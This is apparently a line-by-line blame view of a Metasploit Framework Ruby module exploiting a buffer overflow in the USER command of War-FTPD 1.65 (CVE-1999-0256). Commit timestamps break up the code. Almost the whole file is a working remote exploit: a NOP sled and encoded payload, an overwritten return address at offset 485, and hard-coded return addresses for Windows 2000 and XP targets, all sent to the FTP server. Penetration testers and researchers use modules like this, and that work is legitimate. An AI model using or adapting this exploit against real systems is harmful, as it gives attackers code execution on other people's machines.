2007-02-18 01:10:39 +01:00
|
|
|
##
|
2007-02-26 11:46:52 +01:00
|
|
|
# $Id$
|
2007-02-18 01:10:39 +01:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 16:33:26 +02:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 01:10:39 +01:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-11-26 01:04:26 +01:00
|
|
|
require 'msf/core'
|
2005-11-11 02:22:03 +01:00
|
|
|
|
|
|
|
|
2008-10-02 07:23:59 +02:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2005-11-11 02:22:03 +01:00
|
|
|
|
2008-10-02 07:23:59 +02:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
2005-11-11 02:22:03 +01:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2005-11-24 04:46:53 +01:00
|
|
|
'Name' => 'War-FTPD 1.65 Username Overflow',
|
2005-11-11 02:22:03 +01:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow found in the USER command
|
2005-11-24 18:41:32 +01:00
|
|
|
of War-FTPD 1.65.
|
2005-11-11 02:22:03 +01:00
|
|
|
},
|
2005-11-13 19:35:44 +01:00
|
|
|
'Author' => 'Fairuzan Roslan <riaf [at] mysec.org>',
|
2006-05-06 18:34:39 +02:00
|
|
|
'License' => BSD_LICENSE,
|
2005-11-11 02:22:03 +01:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 18:18:43 +01:00
|
|
|
[ 'BID', '10078' ],
|
|
|
|
[ 'CVE', '1999-0256'],
|
2005-11-11 02:22:03 +01:00
|
|
|
[ 'OSVDB', '875' ],
|
|
|
|
[ 'MIL', '75' ],
|
|
|
|
[ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process'
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 424,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x40",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'ConnectionType' => "-find"
|
|
|
|
}
|
|
|
|
},
|
2007-02-26 11:46:52 +01:00
|
|
|
'Platform' => 'win',
|
2005-11-11 02:22:03 +01:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Target 0
|
|
|
|
[
|
|
|
|
'Windows 2000 SP0-SP4 English',
|
|
|
|
{
|
|
|
|
'Ret' => 0x750231e2 # ws2help.dll
|
|
|
|
},
|
|
|
|
],
|
|
|
|
# Target 1
|
|
|
|
[
|
|
|
|
'Windows XP SP0-SP1 English',
|
|
|
|
{
|
|
|
|
'Ret' => 0x71ab1d54 # push esp, ret
|
|
|
|
}
|
|
|
|
],
|
|
|
|
# Target 2
|
|
|
|
[
|
|
|
|
'Windows XP SP2 English',
|
|
|
|
{
|
|
|
|
'Ret' => 0x71ab9372 # push esp, ret
|
|
|
|
}
|
|
|
|
]
|
2005-11-11 02:50:05 +01:00
|
|
|
]))
|
2005-11-11 02:22:03 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
buf = make_nops(600) + payload.encoded
|
2005-11-24 19:30:56 +01:00
|
|
|
buf[485, 4] = [ target.ret ].pack('V')
|
2005-11-11 02:22:03 +01:00
|
|
|
|
2005-11-24 18:41:32 +01:00
|
|
|
send_cmd( ['USER', buf] , false )
|
2005-11-11 02:22:03 +01:00
|
|
|
|
|
|
|
handler
|
2006-01-08 15:27:59 +01:00
|
|
|
disconnect
|
2005-11-11 02:22:03 +01:00
|
|
|
end
|
|
|
|
|
2008-10-19 23:03:39 +02:00
|
|
|
end
|